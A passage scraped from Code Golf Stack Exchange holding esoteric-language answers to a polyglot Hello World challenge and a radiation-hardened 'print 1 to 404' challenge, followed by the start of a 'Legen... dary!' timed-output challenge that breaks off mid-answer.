maailma!`](https://tio.run/##lVJRb9owEH7nVzihk5OGJIWnaVgp6/ZQaeWJadOEQTHYdLc5NgoEyij8dXYJ6co0aaVfFN35uzufP/umIpdghD4cqJhIqWb00vParOPHccfvUkq7iPRWAJGFAeGkrab0vPfbITkLXdex0tiMWAEf3AGr6VXlrHjjklK/u9zMlZ2Rm2I2Uzmj9/R6as3CahVpe@@lg5WCn4LMxUIUWjmp/26eg1l66WeVK5IJATpDNkjjuNlrPePYbPXUkrLH8O2mw0jviMYFoZkAQ19WEce1c7p9q@V@EvBgSb8wshCOy1bPFWO3b7Uld/BrrTDyh3ePaBAeDu/ERCxqWeCMbNhEBW/cWwW1KNzzoXvePT@yoH3x7ZRh/@TcarvOtdNANU3yGvytuuXeWPPDFjnJrJGVutOE6vxfVC6VcdwxrY8hNFFKutj7da1fRGIZHQiNE/axMBvr0P1@fN27umrvn8DrK8fW5TgfZ6cdd4gwkmDtuphYI0j/u8b3cCixeclqkRXlljjy1G/62y2cd56dlHIHMN0CwE6iKYkplMy2DOzqEECdVPu4wEJZZ1XctCz9P3jf49bnwBU3nPCvaDVfcmcUDIMhYyxIEKOAhfjhigXBiLEITfVHQemgx8IwjJIkSiomrBAlJYX2cPgN) [Answer] # 3 languages, 61 bytes ``` ;“,ḷṅḳȦ»Ḋḷ“ x:Hai dunia! O y:"Helo Byd!" ;” ``` [Add++](https://github.com/cairdcoinheringaahing/AddPlusPlus) outputs `[Hai dunia!](https://tio.run/##S0xJKSj4/9/6UcMcnYc7tj/c2fpwx@YTyw7tfrijC8gHCnNVWHkkZiqklOZlJipy@XNVWil5pObkKzhVpigqcQE1zv3/HwA "Add++ – Try It Online")` [Jelly](https://github.com/DennisMitchell/jelly) outputs `[Hello World!](https://tio.run/##y0rNyan8/9/6UcMcnYc7tj/c2fpwx@YTyw7tfrijC8gHCnNVWHkkZiqklOZlJipy@XNVWil5pObkKzhVpigqcQE1zv3/HwA "Jelly – Try It Online")` [Foo](https://esolangs.org/wiki/Foo) outputs `[Helo Byd!](https://tio.run/##S8vP///f@lHDHJ2HO7Y/3Nn6cMfmE8sO7X64owvIBwpzVVh5JGYqpJTmZSYqcvlzVVopeaTm5Cs4VaYoKnEBNc79/x8A)` Just because I set the bounty doesn't mean I can't take part :D (ab)uses the brilliant string setting trick that [Conor found](https://codegolf.stackexchange.com/a/153754/66833) for Add++ ## How it works ### Add++ ``` ;“,ḷṅḳȦ»Ḋḷ“ ; A comment. This does nothing x:Hai dunia! ; Set the x accumulator to the string "Hai dunia!" O ; Output x y:"Helo Byd!" ; Set the y accumulator to the string "Helo Byd!" ;” ; Another comment ``` ### Jelly Comments in Jelly can be formed with the syntax `ḷ“comment”`, which is how the Add++ and Foo code is ignored. The code that is actually executed by Jelly is ``` ;“,ḷṅḳȦ»Ḋ - Main link. Arguments: None “,ḷṅḳȦ» - Yield the string "Hello World!" ; - Append 0, yielding "0Hello World!" Ḋ - Remove the first character, yielding "Hello World!" ``` ### Foo Foo ignores all characters here aside from `"Helo Byd!"`, which, as it's in quotes, is outputted. [Answer] **3 Languages, 274 Bytes** ``` #define b++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+> #include<stdio.h> #define p(x)int main(){printf("नमस्ते दुनिया!");} #if 0 p=print goto=len goto("endif") s="Helo Byd!"; #endif p(s) ``` C:`नमस्ते दुनिया!` Python: `Helo Byd!` Brainfuck: `Hello World!` [Try it online!](https://tio.run/##VY4xqgIxEIb7nCJmm4TFILzS3RRW3kEs1GSfgTUJ7gqKWFhZeYusWPlaK99V5iZrDIviD8N88//MMG5XL635adtEqkIbhefpWxPRgfh4IlYW1J8G5iLlXcJfwF9elqXf4iJm/aiuBRCpQIk2i3IjVVbVUlu@DE73iKNbpk2NVzNtKNu7dRgKSsBfwd/A36E5g/fQnDD4CzTHGPyD/wP/6BE2PITbBR4gl8dV9Gtrm5fKRKBEGakLwlCVk7EqLR7tZI8MURJ95GjF2vYJ "Python 3 – Try It Online") ]
[Question] [ # Scenario One of your friends is struggling on a homework assignment. He needs a simple program which prints the first 404 natural numbers: ``` 1 2 3 4 5 6 7 8 9 10 11 ... 401 402 403 404 ``` Your challenge is simple: write this program for him. However, your connection is terrible, so 1 random character is lost every time you send the program. To prevent this from breaking your program, you must make it so that removing **any single character** will have **no effect:** the program works, regardless. (The original program must also work.) Because the connection is too poor to send large files, **your code must be as short as possible.** TL:DR - make a radiation hardened program to output the numbers 1 to 404 --- ## Rules/Details * The output may be a list of integers in any reasonable format (separated by spaces, newlines, commas, etc). However, your **output must be consistent** and not change when the program is modified. * Command line flags that contain logic, execute actual code, generate the number list, and so on, are banned. * This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so the shortest submission (in bytes) wins! [Answer] # JavaScript, 228 bytes ``` etInterval=stInterval=seInterval=setnterval=setIterval=setInerval=setIntrval=setInteval=setInteral=setIntervl=setInterva=top=>4 setInterval `405>(i=this.i?i:1)?alert(i++):0`///` setInterval `405>(i=this.i?i:1)?alert(i++):0`///` ``` ### Explanation Evaluating code in a `setInterval` allows the program to continue even if there is an error. We make sure that the code passed will error out if any single character is removed. Template string syntax can be abused to call `setInterval` with a constant string without parentheses. Luckily, even if the template string is on the next line it still parses as a function call with such syntax. The first issue we run into is that `setInterval` is a function, and thus if a character is removed and the program tries to call `setInteval` instead, it errors out. Of course, since there are two indentical invocations of the `setInterval`, we don't have to worry about it actually functioning correctly as long as we avoid the error. So, the first line defines every possible "misspelling" of `setInterval` to a valid function. The first line works by assigning all of these "misspellings" to the function `top=>4`. Note the ES6 syntax, this simply takes a paramater named "top" and returns 4. Why "top"? Well, the first line must never throw an error even if a character is removed. If an `=` is removed to make `top>4`, this boolean expression will be valid since `top` is predefined in browsers, simply yielding `false`. If the 4 is removed, the function body simply becomes the first `setInterval` segment, and the second runs unharmed. Now, all that is left to worry about is if a ` is removed. If removed from the beginning, `setInterval` simply does nothing, evaluating to itself as its own expression. Then, the rest of the second line simply runs a single iteration of the loop, letting the other `setInterval` fragment finish the job. If removed from the end, the remaining backtick is picked up from the end of the comment. The newlines are placed so that removal one will not affect program behavior, but they prevent errors in the case of some character removals such as the leading backtick. [Answer] # Pyth - 16 bytes The basic idea behind this is that when you take a digit off of `404`, it only makes the number smaller, so we just have to get the maximum of two `404`'s to ensure we have the right number. Obviously, there are a bunch more redundancies. ``` SSsetSS[404 404 ``` Explanation: ``` SS First one does 1-index range, second one sorts, which is no-op s If the e is there, this is no-op, if only t is there, it sums a one element list, which is the item et e picks last element in list, and if e is gone, then t gets you the list without the first element which is good enough when combined with s SS Sorting twice is no-op [ Start list, this can't be two element because if we get rid of initial 4, the 0 becomes third element which neeeds to be captured 404 One of the 404's <space><space>404 Need two spaces for redundancy, because 404404 *is* bigger than 404 ``` [Try it online here](http://pyth.herokuapp.com/?code=SSsetSS%5B404++404&debug=0). [Answer] ## [Befunge-98](https://github.com/catseye/FBBI), 37 bytes ``` 20020xx##;;11++::''ee44**``kk@@::..;; ``` [Try it online!](https://tio.run/nexus/befunge-98#@29kYGBkUFGhrGxtbWiorW1lpa6emmpioqWVkJCd7eBgZaWnZ239/z8A "Befunge-98 – TIO Nexus") ### Explanation Making radiation-hardened code in Befunge-98 isn't *too* bad, because you can set the "delta" (i.e. the step size of the instruction pointer) manually with `x`. So if set the delta to `(2,0)`, from then on every other character is skipped and we can simply double up all commands. The tricky thing is getting `2 0` on top of the stack in a reliable way. We'll actually need `0 2 0` for the rest the program to work correctly, but we'll that for free. Here is how we do this: ``` 20020xx ``` Note that each digit pushes itself, so in the full program, there will be a start `2 0` which we'll simply ignore. Consequently, dropping either the first or second character from the program is irrelevant because we won't use those digits anyway. Likewise, removing the third character is identical to removing the second, so we don't need to worry about that either. Let's consider what happens in the other two cases. Dropping the fourth character: ``` 2000xx ``` Note the delta is set to `(0,0)`. But this doesn't move the instruction pointer at all, so the same `x` is executed again immediately and this time pops the `(2,0)` and all is well (there are implicit zeros at the bottom of the stack for our later purposes). Let's drop the fifth character instead: ``` 2002xx ``` Now the delta gets set to `(0,2)`. However, there is still no horizontal movement, so the IP wraps immediately back to `x` and again, the correct delta gets set. From this point onward we can basically ignore the character duplication as well as this initial part because it will always be skipped: ``` ...#;1+:'e4*`k@:.; ``` The `;` is a sort of comment command which skips everything until the next `;` is encountered. However, we jump over the first `;` with `#` so only the part between the `;` will be executed from that point onward. ``` 1+ Increment the top of the stack. : Duplicate it. 'e Push 101. 4* Multiply by 4 to get 404. ` Greater-than check. Pushes 1 once the top reaches 405, otherwise 0. k@ Terminate the program that many times. :. Print a copy of the top of the stack (and a space). ``` [Answer] # [05AB1E](http://github.com/Adriandmen/05AB1E), 12 bytes Code: ``` XX440044ÔÔŸŸ ``` Normal code explanation: ``` X # Pushes the number 1. X # Pushes the number 1 again. 440044 # Pushes the number 440044. Ô # Connected uniquify. Ô # Connected uniquify. Ÿ # Inclusive range of the top two elements. Ÿ # Inclusive range on the array, which leaves it intact. ``` This leads to the following golfed code: `X404Ÿ`, which is what we want to achieve. The number **404** is generated by any of these variants: ``` 440044ÔÔ 40044ÔÔ 44044ÔÔ 44004ÔÔ 440044Ô ``` The inclusive range works as following on two numbers: ``` `1 5Ÿ` -> [1, 2, 3, 4, 5] [1, 5]Ÿ -> [1, 2, 3, 4, 5] [1, 2, 3, 4, 5]Ÿ -> [1, 2, 3, 4, 5] ``` Which always makes the second `Ÿ` a **no-op**. Uses the **CP-1252** encoding. [Try it online!](http://05ab1e.tryitonline.net/#code=WFg0NDAwNDTDlMOUxbjFuA&input=) [Answer] # [><>](http://esolangs.org/wiki/Fish), ~~103~~ ~~60~~ 51 bytes ``` vv ;?=*4o" e"n:ll<< ;?=*4o" e"n:ll<< ``` [Tested here.](https://fishlanguage.com/playground) Uses the same tactic as [this program](https://codegolf.stackexchange.com/a/11394/34718). If a character is deleted in the first line, the 2nd line will still be run. If a character in the 2nd line is deleted, the `v` will move execution to the 3rd line, since the 2nd line is a character shorter. A deletion in the 3rd line has no effect on program control, as it is only execution after a deletion in line 2. The program will also work in the event that a line break is deleted: **Case 1:** The 2nd line will be run. ``` vv;?=*4o" e"n:ll<< ;?=*4o" e"n:ll<< ``` **Case 2:** Both lines become one line with twice the instructions. ``` vv ;?=*4o" e"n:ll<<;?=*4o" e"n:ll<< ``` **Explanation:** The core of the program is the following. Note that a `1` is pushed on the stack already by the first line. ``` ll:n Push length of the stack twice, duplicate, print as number "e "o Push 101, 32, output 32 as space 4* 101 * 4 is 404 =?; Pop twice, if equal, halt (Execution wraps around) ``` [Answer] # [><>](http://esolangs.org/wiki/Fish), ~~42 38~~ 34 bytes [Try it Online!](http://fish.tryitonline.net/#code=PDw7Pz0qNG8iIGUibG5sbC8KIDs_PSo0byIgZSJsbmxsPA&input=) Thanks to [@Martin Ender](https://codegolf.stackexchange.com/users/8478/martin-ender) and [@Teal Pelican](https://codegolf.stackexchange.com/users/62009/teal-pelican) for shaving off 8 bytes! ``` <<;?=*4o" e"lnll/ ;?=*4o" e"lnll< ``` Similar to [mbomb007's answer](https://codegolf.stackexchange.com/a/103103/62574), but only uses 2 lines. Instead of counting up from 1 to 404 using a single memory value, I continuously pushed the length of the stack. This made it so that I didn't need to put anything on the stack before the loop started, making things a lot easier. ### The original code The `<`s turn the IP around, and the `/` is a no-op, as the IP wraps around and continues along it's normal path. Thus, the relevant code is: ``` lnll Prints the size of the stack + 1 and pushes the stack size twice o" e" Prints a space and pushes 101 *4 Multiplies to get 404 ;?= If the number we just printed was 404, end the program ``` And this repeats. ### The deletion The big key here is the mirror `/`. It doesn't do anything if the second line is modified - only wraps back around to itself and is essentially a no-op. But if a character from the first line is removed, the line will shift down, so that the mirror hits the arrow `<`, leading into an identical, unmodified loop. The only other significant deletion would be the `\n` character. This is also accounted for, as it produces this code: ``` <<;?=*4o" e"lnll/ ;?)*4o" e"lnll< ``` Now, we have just appended a copy of the original loop `;?=*4o" e"lnll` to itself. As this is a loop, it makes no difference to the execution, and runs as if nothing had changed. [Answer] # [A Pear Tree](http://esolangs.org/wiki/A_Pear_Tree), 34 bytes The program contains control characters, so here's an `xxd` dump: ``` 00000000: 7072 696e 7420 312e 2e34 3034 2327 108a print 1..404#'.. 00000010: af70 7269 6e74 2031 2e2e 3430 3423 2710 .print 1..404#'. 00000020: 8aaf .. ``` A Pear Tree is basically a Perl derivative, with some "interesting" features. I threw it together as a joke (so that I could say that my polyglot printed `a partridge` in A Pear Tree; in fact, almost all programs do). However, it's Turing-complete, and actually kind-of good at this sort of challenge. The feature that we mostly care about here is that A Pear Tree will only run a program if some substring of the code has a CRC-32 of `00000000`. The code gets rotated to put the substring in question at the start. As it happens, the two (identical) halves of the code each have the CRC-32 in question (due to that suspicious-looking binary comment at the end), so if you delete a character from the source (breaking the CRC), the other half gets rotated to the start and the `#` sign near the end will comment the damaged half out, in addition to the binary junk. Another feature makes the program slightly smaller: although A Pear Tree is mostly interpreted as Perl, it has some minor changes to make it work more like Python. One that's relevant here is that unlike Perl's `print` statement (which just runs the numbers together), A Pear Tree's `print` statement separates arguments with spaces and prints a final newline. That gives us nicely space-separated output, meaning that we don't have to waste bytes on formatting. (Note that you'll have to give the program no input; if the language receives input, it assumes by default that it's supposed to do something with it.) Of course, this can't compete with actual golfing languages (nor would I expect it to), but I thought people might find it interesting. [Answer] # [Befunge 98](https://github.com/catseye/Funge-98/blob/master/doc/funge98.markdown#Quickref), 34 bytes [Try it Online!](https://tio.run/nexus/befunge-98#@29jo2flkJ2gZZKqbqVtGM3FZYTMt4mLy/r/HwA) ``` <<.:@k`*4e':+1[ 2.:@k`*4e':+1<^^j ``` This works very similarly to my [><> answer](https://codegolf.stackexchange.com/a/103116/62574), but instead of the mirror `/`, I use the turn left operation `[` and then reverse the IP direction, which is functionally equivalent to a mirror in this case. ### The original code ``` << Reverses code direction, sending IP to right [ Turns the IP left, into the ^, which reverses it. It then hits this again, turning left to go West. (No-op) :+1 Adds 1 to the sum *4e' Pushes 404 @k` Ends the program if (sum > 404) .: Prints the sum ``` ### The deletion If something in the second line is deleted, it will shift over, and not affect the top at all. If anything in the first line is deleted, the `[` will send the IP into the `<`, which starts an identical loop (with the exception of `2j^^` which avoids the `^`s used in tandem with the `[`) Because there are 2 new lines, it makes no difference to the code if one is deleted (thanks to [@masterX244](https://codegolf.stackexchange.com/users/10801/masterx244) for this!) [Answer] # Befunge-93, ~~54~~ 51 bytes Thanks to [Mistah Figgins](/users/62574/mistah-figgins) for saving me 3 bytes. ``` 111111111111111vv +1_@#-*4"e":.:<< +1_@#-*4"e":.:<< ``` [Try it online!](http://befunge.tryitonline.net/#code=MTExMTExMTExMTExMTExdnYKKzFfQCMtKjQiZSI6Ljo8PAorMV9AIy0qNCJlIjouOjw8&input=) This is essentially the same trick as was used in the [Fault-Tolerant Hello World](/a/11394/62101) challenge. The first line starts by making sure there is a 1 on the top of the stack for the start of the sequence, and then one of the `v` arrows at the end of the line redirects the code path to the start of the main routine on line 2, executing from right to left. Removing a character from the first line will just shift the `v` arrows across by one, but that still allows the code to redirect to the second line successfully. Removing a character from the second line causes the `<` arrow at the end of the line to shift out of the path of the `v` above it, so the code path will be redirected to the backup routine on line 3. Removing the first line break does no harm, because that just moves the third line into place to replace the second line. And removing anything after the end of the second line will have no effect, because that's just the backup code. [Answer] # JavaScript + HTML + Stack Snippets, ~~167~~ ~~158~~ 154 bytes Abusing the fact that JavaScript in Stack Snippets gets placed in a web page inside a `<script>` element. ``` or(x="",i=405,d=document;--i;)d[i]||(x=d[i]=i+' '+x);d.write(x)</script></script><script>for(x="",i=405,d=document;--i;)d[i]||(x=d[i]=i+' '+x);d.write(x) ``` [Answer] # [Actually](https://github.com/Mego/Seriously), 18 bytes ``` :404::404kMkMMRRSS ``` Actually is a stack based golfing language. Explanation of the commands involved (as they work in the above context): ``` Numbers are indicated by round brackets () and lists by square brackets [] : - pushes the longest string of characters in '0123456789+-.ij' as a numeric k - pop all the elements on the stack into a list [l] and push [l] M - pop [l], push max([l]) pop (a), push (a) R - pop [l], push reverse([l]) pop (a), push range([1,a]) S - pop [a], push sorted([a]) ``` [Answer] # [Zsh](https://www.zsh.org/), 26 bytes ``` >404 >404 seq ???||seq * ``` [Try it online!](https://tio.run/##qyrO@P/fzsTAhAtMcBWnFioo2Nvb19SAWFr//wMA "Zsh – Try It Online") [Verify all mutations!](https://tio.run/##HU/LbsJADLznK0YCCUoDIjS0IGhz7qmH9lZVYmGdsNI@yHpT2hK@Pd0g2aOxbM/Yf3zsBuAaimFdiOmN0PoXAt9CK4mDM0ZYmWLfBDiLj9c3qAD6URwYIoaFsoH8yVNElM4jHAnvdaO8J42Td5UXxihbQQtbNaKiZHCTM9HG8jluxUFF3OvvuN6hFErH@RTscCYwhd4zuNjQTDiSp4Tr8d2tTBJ@HnUv@TxPbpAw1UBRFG3bs0k3SvqjFMaXbDYbDvh6d/EGkw3FDzHkzyxV0@wrEnWfpZG1Ri65MW3l6YRpjTKXcrVeyXw1z5/ytZQik4dyLpYLsX9YPO432@12WFy7fw) Explanation: * `>404`: create the file `404`. This command is repeated twice because if one has had a byte removed, we need the other to still work. Ordinarily with `>` you wouldn't need the newline between them, but in the case the second `>` is removed, `>404404` wouldn't create `404` * `???`: find a 3-character file name in the current directory (this will always find `404` because of the redundancy above) * `seq`: count up to that * `||`: if that fails (happens if `seq` or `???` is mangled): + `*`: find a filename + `seq`: count up to it * The second newline before the first `seq` is necessary because otherwise `>404seq` would create two files, and then `seq *` would try to range between `404` and `404seq`, which isn't a number * The second space in `seq ???` is necessary because `seq???` would fail to match, and for some reason the bit after the `||` doesn't get executed either (it's possibly a bug in zsh) * If any of the two `|`s are missing, the first `seq` is piped to the second; the second ignores its input, but still outputs as normal. [Answer] # [Vyxal](https://github.com/Vyxal/Vyxal), ~~11~~ 9 bytes *-2 thanks to A username* ``` ⁺ed404∴ɾƛ ``` [Try it Online!](https://lyxal.pythonanywhere.com?flags=&code=%E2%81%BAed404%E2%88%B4%C9%BE%C6%9B&inputs=&header=&footer=) ``` ⁺ed404∴ɾƛ ⁺e # Push 202 d # Double ^ to get 404 404 # Push 404 again ∴ # Take the maximum # If bytes are removed from either of the 404s, this ensures the intact one is pushed # If ∴ is removed, 404 is still at the top of the stack so it doesn't matter ɾ # range(1, n+1) ƛ # Map # If it's a number (ɾ removed), range(1, n+1) is used # Otherwise (it's a range), nothing happens here ``` [Answer] # [Gol><>](https://github.com/Sp3000/Golfish), 26 bytes ``` <<;|N:PF*4e`/ <;|N:PF*4e`/ ``` [Try it online!](https://tio.run/##S8/PScsszvj/38bGusbPKsBNyyQ1QZ8LmfP/PwA "Gol><> – Try It Online") This is pretty simple, but there wasn't a Gol><> answer yet, and it scores pretty well. [Answer] # [Klein](https://github.com/Wheatwizard/Klein) 000, 32 bytes ``` <<@?+-*4"e":+1:/ <@?+-*4"e":+1:/ ``` [Try it online!](https://tio.run/##y85Jzcz7/9/GxsFeW1fLRClVyUrb0EqfC43///9/AwMDAA "Klein – Try It Online") # [Klein](https://github.com/Wheatwizard/Klein) XXX, 54 bytes ``` >>> \\ ..\:+1:@?+-*4"e"< \..:+1:@?+-*4"e"< ``` [Try it online!](https://tio.run/##y85Jzcz7/9/Ozk4BGcTEcOnpxVhpG1o52GvrapkopSrZcMXo6aGK/P//38jAEAA "Klein – Try It Online") Shamelessly reusing strategies from my [fault tolerant "Hello world" solution](https://codegolf.stackexchange.com/a/215215/56656). ]
[Question] [ The 9 Billion Names of God is a short story by Arthur C. Clarke. It's about a group of Tibetan monks whose order is devoted to writing down all the possible names of God, written in their own alphabet. Essentially, they are devoted to writing every possible permutation of their alphabet, restricted by a few rules. In the story, the monastery hires some engineers to write a program to do all the work for them. Your goal is to write that program. Rules: * The monk's alphabet uses 13 characters (according to my estimations). You may use `ABCDEFGHIJKLM` or some other set of 13 characters. * The minimum length of a possible name is 1 character. The maximum length is 9 characters. * No character may repeat more than 3 times in succession. `AAABA` is a valid name, but `AAAAB` is not. * Your program should print out (to a file) every possible name in sequence from `A` to `MMMLMMMLM`, separated by any character not in the alphabet (newlines, semi-colons, whatever). * This is code-golf, and you can use any language. The shortest solution by June 1st 2014 wins. Edit: The names should start with `A` and end with `MMMLMMMLM`, progressing through all the billions of names sequentially. But the particular sequence is up to you. You can print out all the 1-letter names first, then all the 2-letter names, etc. Or you can print all the names starting with `A`, then all the ones starting with `B`, or some other pattern. But a human should be able to read through the file and confirm they are all there and in whatever logical order you choose, assuming they have the time. [Answer] # Ruby, 46 ``` ?A.upto(?M*9){|s|s[/(.)\1{3}|[N-Z]/]||puts(s)} ``` My original, similar solution was longer and wrong (it output base13 numbers, which isn't quite all of them due to leading zeroes), but I'll leave it here because it got votes anyway. ``` 1.upto(13**9){|i|(s=i.to_s 13)[/(.)\1{3}/]||puts(s)} ``` [Answer] # C 140 ~~177 235~~ Good old procedural style, no fancyness. It counts (no write) 11,459,252,883 names in 8 minutes. Next edit with the runtime and size of names file. Watch the sky... **Runtime** 57 minutes, file size 126,051,781,713 (9 chars+crlf per row). Please tell me the monks' email address, so that I can send them the zipped file, for manual check... **Edit** Golfed a little more, reworked the check for repeated letters. Still not the shortest, but at least this one terminates and generates the required output. Runtime 51 min, file size 113,637,155,697 (no leading blanks this time) A side note: obviously the output file is very compressible, still I had to kill 7zip, after working 36 hours it was at 70%. Weird. ``` char n[]="@@@@@@@@@@";p=9,q,r;main(){while(p)if(++n[p]>77)n[p--]=65;else for(r=q=p=9;r&7;)(r+=r+(n[q]!=n[q-1])),n[--q]<65&&puts(n+q+1,r=0);} ``` **Ungolfed** ``` char n[]="@@@@@@@@@@"; p=9,q,r; main() { while (p) { if (++n[p] > 77) { n[p--] = 65; // when max reached, set to min and move pointer to left } else { for (r=q=p=9; r & 7 ;) // r must start as any odd number { r += r+(n[q]!=n[q-1])); // a bitmap: 1 means a difference, 000 means 4 letters equal n[--q] < 65 && puts(n+q+1,r=0); } } } } ``` [Answer] # Golfscript, ~~58~~ 47 characters ``` "A"13 9?,{13base{65+}%n+}%{`{\4*/,}+78,1/%1-!}, ``` Thanks to Peter Taylor, I am spared from the seppuku from not beating the Ruby solution! [Run the code up to 10 yourself](http://golfscript.apphb.com/?c=ICAgICJBIjEwLHsxM2Jhc2V7NjUrfSVuK30le2B7XDQqLyx9Kzc4LDEvJTEtIX0s), and [here is proof it skips the four-in-a-row numbers](http://golfscript.apphb.com/?c=ICAgIDEwLHsyODU1NSsgMTNiYXNlCiAgICB7NjUrfSVuK30le2B7XDQqLyx9Kzc4LDEvJTEtIX0s). [Answer] # Bash+Linux command line utils, 43 bytes ``` jot -w%x $[16**9]|egrep -v "[0ef]|(.)\1{3}" ``` This uses a similar technique to my answer below, but just counts in base 16, and strips out all "names" containing `0`, `e` or `f` as well those with more than 3 same consecutive digits. Convert to the monk's alphabet as follows: ``` jot -w%x $[16**9]|egrep -v "[0ef]|(.)\1{3}" | tr 1-9a-d A-M ``` --- # Bash+coreutils (dc and egrep), 46 bytes **Edit - corrected version** ``` dc<<<Edo9^[p1-d0\<m]dsmx|egrep -v "0|(.)\1{3}" ``` This'll take a while to run but I think its correct. `dc` counts downwards from 14^9 to 1 and outputs in base 14. egrep filters out the numbers with more than 3 consecutive same digits. We also filter out any names with "0" digits, so we get the correct set of letters in the names. The question specifies that any alphabet may be used, so I am using [1-9][A-D]. But for testing, this can be transformed to [A-M] using tr: ``` dc<<<Edo9^[p1-d0\<m]dsmx|egrep -v "0|(.)\1{3}" | tr 1-9A-D A-M ``` This yields the sequence: ``` MMMLMMMLM MMMLMMMLL MMMLMMMLK ... AC AB AA M L K ... C B A ``` *Note this `dc` command requires tail recursion to work. This works on dc version 1.3.95 (Ubuntu 12.04) but not 1.3 (OSX Mavericks).* [Answer] ## APL (59) ``` ↑Z/⍨{~∨/,↑⍷∘⍵¨4/¨⎕A[⍳13]}¨Z←⊃,/{↓⍉⎕A[1+(⍵/13)⊤¯1⌽⍳13*⍵]}¨⍳9 ``` Written in its own alphabet :) It's a bit long. It also takes a long time to run with `9`, try it with a lower number to test if you want. Explanation: * `{`...`}¨⍳9`: for each number `⍵` from 1 to 9: + `⍳13*⍵`: get all numbers from 1 to `13^⍵` + `¯1⌽`: rotate the list to the left by 1 (so we have `13^⍵`, `1`, `2`, ..., `13^⍵-1`, which turns into `0, 1, 2 ...` modulo `13^⍵`). + `(⍵/13)⊤`: encode each number in base 13 using `⍵` digits + `⎕A[1+`...`]`: add one (arrays are 1-indexed) and look up in `⎕A` (the alphabet) + `↓⍉`: turn the matrix into a vector of vectors along the columns. * `Z←⊃,/`: join each inner vector of vectors together, giving us a list of possible names (but it doesn't meet the rules yet). * `{`...`}¨`: for each name, test if it meets the 4-repeated-chars rule: + `4/¨⎕A[⍳13]`: for each character, generate a string of 4 of that character + `⍷∘⍵¨`: for each string, test if it is present in `⍵` + `∨/,↑`: take the logical *or* of all these tests, + `~`: and invert it, so that `1` means that it meets the rules and `0` means it doesn't. * `Z/⍨`: select from `Z` all the elements that meet the ruels * `↑`: display each one on a separate line [Answer] # Perl, 70 68 66 50 characters ``` $"=",";map/(.)\1{3}/||say,glob$i.="{@a}"for@a=A..M ``` Usage: ``` $ perl -E 'code' > output_file ``` The nice thing is that the prints are buffered, so you get all 1-character solutions printed first, followed by 2-character words and so on. [Answer] ## Perl - 35 bytes ``` #!perl -l /(.)\1{3}|[N-Z]/||print for A..1x9 ``` Counting the shebang as one byte. This is a loose translation of [histocrat's answer](https://codegolf.stackexchange.com/a/28840/4098). `A..1x9` is a bit of an oddity; this is shorthand for `'A'..'111111111'`. The accumulator will never actually reach the terminal value (it contains only upper-case letters), but it will still terminate once it becomes longer than *9* characters long. This can be tested, for example, by using `1x4` instead. [Answer] # [Pyg](https://gist.github.com/Synthetica9/9796173) (Waaay too long, for a language made for golfing) *whispers*: 101... ``` Pe(*ItCh(((J(x)for x in ItPr("ABCDEFGHIJKLM",repeat=j)if not An((i*3 in x)for i in x))for j in R(14)))) ``` Even though this is close to how I would actually do it in Python: ``` from itertools import * for i in range(14): for j in ("".join(k) for k in product("ABCDEFGHIJKLM",repeat=i) if not any((i*3 in k) for i in k)): print j ``` Minus the long line complication of course ;) [Answer] # [Pyth](https://github.com/isaacg1/pyth/blob/master/pyth.py), 34 characters ``` Kf<T"n"GJKFbJI>lb9Bb~Jm+bdfXVb*Y3K ``` Explanation: ``` Kf<T"n"G K = list of letters in the alphabet before n. JK J = copy of K FbJ For b in J: I>lb9B If length of b > 9: break b print(b) ~J J+= ~Jm+bd J+=map(lambda d:b+d, XVb*Y3 index of Y*3 in reversed(b) fXVb*Y3K filter for non-zero for Y in K on function index of Y*3 in reversed(b) ~Jm+bdfXVb*Y3K J+=map(lambda d:b+d, filter(lambda Y:index of Y*3 in reversed(b), K)) ``` [Answer] # Python 2 - 212 bytes ``` from itertools import chain,product as p a='ABCDEFGHIJKLM' q={c*4 for c in a} c=0 for n in chain(*(p(*([a]*l)) for l in range(1,10))): n=''.join(n) if not any(u in n for u in q):print n c+=1 if c==10**9:break ``` [Answer] # [Japt](https://github.com/ETHproductions/japt), 21 bytes ``` Ep9 osE kè/0|(.)\1{3} ``` [Try it online!](https://ethproductions.github.io/japt/?v=2.0a0&code=RXA0IG9zRSBr6C8wfCguKVwxezN9&input=LVI=) (the link only computes up to `14**4`.) ### How it works ``` Ep9 osE kè/0|(.)\1{3}/ Ep9 14**9 osE Range from 0 to n (exclusive), mapped through base-14 conversion kè Remove elements that match at least once... /0|(.)\1{3}/ the regex that matches a zero or four times same char. ``` Assumes a standard ECMAScript 2017 implementation as the JS layer (and enough memory to store the array), where an `Array` object can have maximum of `2**53-1` length. ]
[Question] [ # dary! In events entirely unrelated to [what will hopefully happen to me](https://codegolf.stackexchange.com/help/badges/27/legendary) in the next couple of days, I task you to write code that does the following: 1. Print ``` Legen... wait for it... ``` immediately, with a trailing newline. 2. Wait until the next full hour (when the cron job for awarding the badge runs). 3. Print ``` dary! ``` with an *optional* trailing newline. ### Additional rules * You may write a program or a function, but the output has to be printed to STDOUT (or its closest alternative of your language). * You have to wait until the next *full* hour, not just for 60 minutes. If the code is run at 6:58, it should print the second line at 7:00. * The last line must be printed no later than one second after the next full hour. * In the event that the program is started in the first second of a full hour, it should it wait for the next full hour. * You may query local or UTC time. * Standard [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'") rules apply. [Answer] # JavaScript (ES6), 74 bytes You may want to change your system clock before testing, congratulations if you landed here at 59 minutes past. ``` setTimeout(a=alert,36e5-new Date%36e5,"dary!");a`Legen... wait for it... ` ``` [Answer] # Pyth, ~~42~~ 41 ``` J.d6." wâ«­hÖ`Ùá©h´^"WqJ.d6;"dary! ``` Below is a hexdump of the code: ``` 00000000 4a 2e 64 36 2e 22 20 77 0c 10 89 e2 ab 1b ad 68 |J.d6." w.......h| 00000010 0f 8c d6 60 d9 e1 a9 68 82 b4 5e 22 57 71 4a 2e |...`...h..^"WqJ.| 00000020 64 36 3b 22 64 61 72 79 21 |d6;"dary!| ``` Saved 1 byte thanks to @isaacg Uses the `.d` function to get local time related values. `.d6` returns the current hour. This prints the first string, then waits until the hour is different from the hour ad the start of the program, and then prints the second string. You could try it online with `.d7` or `.d8` for minutes/seconds but the online compiler only prints anything when the program terminates. Congrats, Dennis! :) [Answer] ## CJam, ~~49~~ 48 bytes ``` et3="Legen... wait for it... "o{_et3==}g;"dary!" ``` Uses local time. For testing purposes, you can replace the two instances of `3` with `4` or `5` to make it print at the start of the next minute/second. [Test it 